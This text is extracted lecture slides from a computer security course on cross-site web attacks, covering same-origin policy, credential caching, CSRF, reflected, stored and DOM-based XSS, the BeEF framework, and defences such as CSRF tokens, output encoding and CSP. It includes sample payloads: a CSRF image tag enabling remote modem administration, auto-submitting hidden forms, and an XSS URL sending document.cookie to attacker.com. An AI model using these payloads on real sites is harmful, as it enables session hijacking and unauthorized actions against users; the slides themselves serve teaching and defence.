Cross-Site Security
CSC 482/582: Computer Security
Topics
1.
2.
3.
4.
5.
Same Origin Policy
Credential Caching
Cross-Site Request Forgery
Cross-Site Scripting (XSS)
XSS Variants
CSC 482/582: Computer Security
Web Page Interactions
Possible interactions limited by same-origin policy
(a.k.a. cross-domain security policy)
 Links, embedded frames, data inclusion across domains
still possible
 Client-side scripts can make requests cross-domain
HTTP & cookie authentication two common
modes (both are usually cached)
 Cached credentials associated with browser instance
 Future (possibly malicious) requests don’t need further
authentication
CSC 482/582: Computer Security
Same Origin Policy
Modern browsers use DHTML
 Support style layout through CSS
 Behavior directives through JavaScript
 Access Document Object Model (DOM) allowing
reading/modifying page and responding to events
Origin: protocol, hostname, port, but not path
Same-origin policy: scripts can only access properties
(cookies, DOM objects) of documents of same
origin
CSC 482/582: Computer Security
Same-Origin Examples
Same Origin
 http://www.examplesite.org/here
 http://www.examplesite.org/there
 same protocol: http, host: examplesite, default port 80
All Different Origins
 http://www.examplesite.org/here
 https://www.examplesite.org/there
 http://www.examplesite.org:8080/thar
 http://www.hackerhome.org/yonder
 Different protocol: http vs. https, different ports: 80 vs.
8080, different hosts: examplesite vs. hackerhome
CSC 482/582: Computer Security
Interactions between Different Origins
hackerhome.org can link to us, can’t control
<a href="http://www.mywwwservice.com/some_url">Click here!</a>
Or include a hidden embedded frame:
<iframe style="display: none" src="http://www.mywwwservice.com/
some_url"></iframe>
 No visible cue to the user (style attribute hides it)
 Happens automatically, without user interaction
Same-origin policy prevents JavaScript on
hackerhome direct access to our DOM
CSC 482/582: Computer Security
Possible Interactions
Occasionally, data loaded from one domain is
considered to originate from different domain
<script src="http://www.mywwwservice.com/some_url></script">
hackerhome can include this script loaded from
our site, but it is considered to originate from
hackerhome instead
Included script can inspect contents of enclosing
page which can define evaluation environment for
script
CSC 482/582: Computer Security
Possible Interactions
Another way attacker can initiate requests from
user’s browsers to our server:
<form name="f" method="POST"
action="http://www.mywwwservice.com/action">
<input type="hidden" name="cmd" value="do_something">
...
</form>
<script>document.f.submit();</script>
Form is submitted to our server without any input
from user


Only has a hidden input field, nothing visible to user
Form has a name, so script can access it via DOM and
automatically submit it
CSC 482/582: Computer Security
HTTP Request Authentication
 HTTP is stateless, so web apps have to associate
requests with users themselves
 HTTP authentication: username/passwd
automatically supplied in HTTP header
 Cookie authentication: credentials requested in
form, after POST app issues session token
 Browser returns session cookie for each request
 Hidden-form authentication: hidden form fields
transfer session token
 Http & cookie authentication credentials cached
CSC 482/582: Computer Security
Lifetime of Credentials
Temporary cookies cached until browser shut
down, persistent ones cached until expiry date
HTTP authentication credentials cached in
memory, shared by all browser windows of a single
browser instance
Caching depends only on browser instance
lifetime, not on whether original window is open
CSC 482/582: Computer Security
Credential Caching Scenario
(1) Alice has browser window open, (2) creates
new window (3) to visit our site, HTTP
authentication credentials stored
(4) She closes the window, but original one still
open (5) later, she’s lured to the hacker’s site
which causes a surreptitious request to our site
utilizing the cached credentials
Credentials persisted even after (4), cookies
could have been timed-out; step (5) could
happen days or weeks after (4)
CSC 482/582: Computer Security
Cross-Site Attacks
Target users of application.
 Use application feature to reach other users of
application.
 Clients are less well defended than servers.
 Obtain assets of individual users rather than assets of
entire application.
Most common type of attack.
 Cross-Site Request Forgery (CSRF)
 Cross-Site Scripting (XSS)
CSC 482/582: Computer Security
Cross-Site Request Forgery
A confused deputy attack.
 Exploits trust that application has with authentication
sessions.
Attack scenario:
 User authenticates to web application.
 User browses to another site containing a malicious
CSRF attack link to web app.

iframe, img, link, bgsound, etc.
 Browser accesses web app with cached credentials,
performing whatever action specified by the link.
CSC 482/582: Computer Security
Example: DSL Modem Attack
Home network devices
administered via web apps.
 Standard local IPs.
Attacker inserts 1-pixel img
tag on page.
 src is URL of form
submission, giving remote
admin.
No password needed.
 Software owner assumed
device on trusted local
network.
 Of course, browser is on the
local network too.
CSC 482/582: Computer Security
<img src=
"http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword
=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisab
le=0&Enable=Enable" alt="" width="1" height="1" />
Using POST won’t prevent CSRF attacks
Require POST for data modifications, but
 Many frameworks automatically fetch both types of
parameters or convert one to other.
 Hidden POST requests can be created with scripts.
<a href="http://www.harmless.com/" onmouseover="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
CSC 482/582: Computer Security
Mitigating CSRF
Use nonces (aka CSRF tokens)
 Random token inserted as hidden parameter, and thus
submitted with form.
 But XSS can read form, so a combined XSS + CSRF attack
can bypass this defense.
Re-authenticate for high value transactions.
 Use out of band authentication if possible.
Expire session IDs quickly.
 But there will always be some time period in which a
CSRF attack will work.
CSC 482/582: Computer Security
Cross-Site Scripting (XSS)
 Attacker causes a legitimate web server to send user
executable content (Javascript, Flash ActiveScript) of
attacker’s choosing.
 Impact of XSS
 Account hijacking.
 Browser hijacking (malware hosting.)
 Information leakage (stored form values, etc.)
 Virtual defacement.
CSC 482/582: Computer Security
XSS Examples
MySpace worm (October 2005)
 When someone viewed Samy’s profile:
 Set him as friend of viewer.
 Incorporated code in viewer’s profile.
Paypal (2006)
 XSS redirect used to steal money from Paypal users in
a phishing scam.
Imgur/8chan worm (September 2015)
 Imgur vulnerability + 8chan copied XSS string from
HTML5 storage into web page
 Allowed persistent XSS using local storage.
CSC 482/582: Computer Security
XSS Key Steps
1.
2.
3.
4.
Attacker sends code to web application.
Legitimate user accesses web app.
Web app sends attacker code to user.
User’s browser executes code.
CSC 482/582: Computer Security
XSS Example
Client browser sends an error message to the web
server.
https://example.com/error.php?message=Sorry%2C+a
n +error+occurred
CSC 482/582: Computer Security
XSS Example
The error message is “reflected” back from the Web
server to the client in a web page.
CSC 482/582: Computer Security
XSS Example
We can replace the error with JavaScript
https://example.com/error.php?message=<script>alert(‘
xss’);</script>
CSC 482/582: Computer Security
Exploiting the Example
1.
2.
User logins in and is issued a cookie
Attacker feed the URL to user
https://example.com/error.php?message=<script>var+i=
new+Image;+i.src=“http://attacker.com/”%2bdocu
ment.cookie;</script>
CSC 482/582: Computer Security
Why does XSS Work?
Same-Origin Policy
 Browser only allows Javascript from site X to access
cookies and other data from site X.
 Attacker needs to make attack come from site X.
Vulnerable Server Program
 Any program that returns user input without filtering
out dangerous code.
CSC 482/582: Computer Security
Reflected XSS
Attack Scenario
 User clicks on link.
 Injected script returned by one-time message from
vulnerable site.
 User browser executes injected code.
Limitations
 Non-persistent. Only works when user clicks.
 Most common type of XSS (~75%).
CSC 482/582: Computer Security
Anatomy of an XSS Attack
Web Server
Attacker
User
3. XSS Attack
7. Browser runs
injected code.
4. User clicks on XSS link.
CSC 482/582: Computer Security
Evil site saves ID.
XSS URL Examples
http://www.microsoft.com/education/?ID=MCTN&target=h
ttp://www.microsoft.com/education/?ID=MCTN&target=
"><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_pa
ge2.html?tw=<script>alert(‘Test’);</script>
http://www.shopnbc.com/listing.asp?qu=<script>alert(
document.cookie)</script>&frompage=4&page=1&ct=VVT
V&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_searc
h_exe?search_text=_%22%3E%3Cscript%3Ealert%28docum
ent.cookie%29%3C%2Fscript%3E
CSC 482/582: Computer Security
Stored XSS
Injected script stored in
 Post or comment.
 Review.
 Uploaded file.
User views page with injected script.
 Malicious action is taken while user is logged into site
where malware found.
 Not technically cross-site.
Attack persists until injected code deleted.
CSC 482/582: Computer Security
DOM-based XSS
Attack scenario
 User clicks on URL with crafted Javascript.
 Application’s client code extracts data from URL and
dynamically updates page with it.
 User browser executes crafted Javascript that was
inserted in the page.
Exploits vulnerability in client code.
 Server does not reflect or store evil Javascript.
CSC 482/582: Computer Security
Browser Exploitation Framework
BeEF hooks browsers via XSS exploit
 Can use as stored or reflected XSS.
 Hooked browsers are bots controlled by BeEF.
Exploitation modules run on hooked browsers to
 View browsing history.
 Identify authenticated sessions.
 Phishing and other social engineering attacks.
 Port scans of network browser is running on.
 Reverse proxy into network browser is running on.
 Use Metasploit.
CSC 482/582: Computer Security
BeEF Screenshot
CSC 482/582: Computer Security
Mitigating XSS
1.
2.
3.
Disallow HTML input
Allow only safe HTML tags
Encode output
Replace HTML special characters in output
ex: replace < with &lt; and > with &gt;
also replace (, ), #, &
4.
5.
Re-authenticate for important transactions to
limit exposure to account hijacking.
Content Security Policy (CSP)
CSC 482/582: Computer Security
Content Security Policy
Server provides header which tells browser to
 Disable inline JavaScript.
 Disable dynamic code evaluation.
 Permit JS inclusion only from a white list of sources.
Prevents XSS if
 Application architected to not directly include any
JavaScript via <script> tags or included in other tags.
 CSP configuration is not too permissive.
W3C created working draft for CSP Level 2 in 2014.
CSC 482/582: Computer Security
References
1.
2.
3.
4.
5.
6.
7.
8.
Brian Chess and Jacob West, Secure Programming with Static
Analysis, Addison-Wesley, 2007.
Daswani et. al., Foundations of Security, Apress, 2007.
Seth Fogie et. al., XSS Attacks: Cross-Site Scripting Exploits
and Defense, Syngress, 2007.
Michael Howard, David LeBlanc, and John Viega, 19 Deadly
Sins of Software Security, McGraw-Hill Osborne, 2005.
Nathan, http://www.neohaxor.org/2008/12/01/csrf-vulns-onlocal-network-devices/, 2008.
PCI Security Standards Council, PCI DSS Requirements and
Security Assessment Procedures, v1.2, 2008.
Stuttart and Pinto, The Web Application Hacker’s Handbook,
2nd ed, Wiley, 2011.
Michal Zalewski, The Tangled Web: A Guide to Securing
Modern Web Applications, No Starch Press, 2012.
CSC 482/582: Computer Security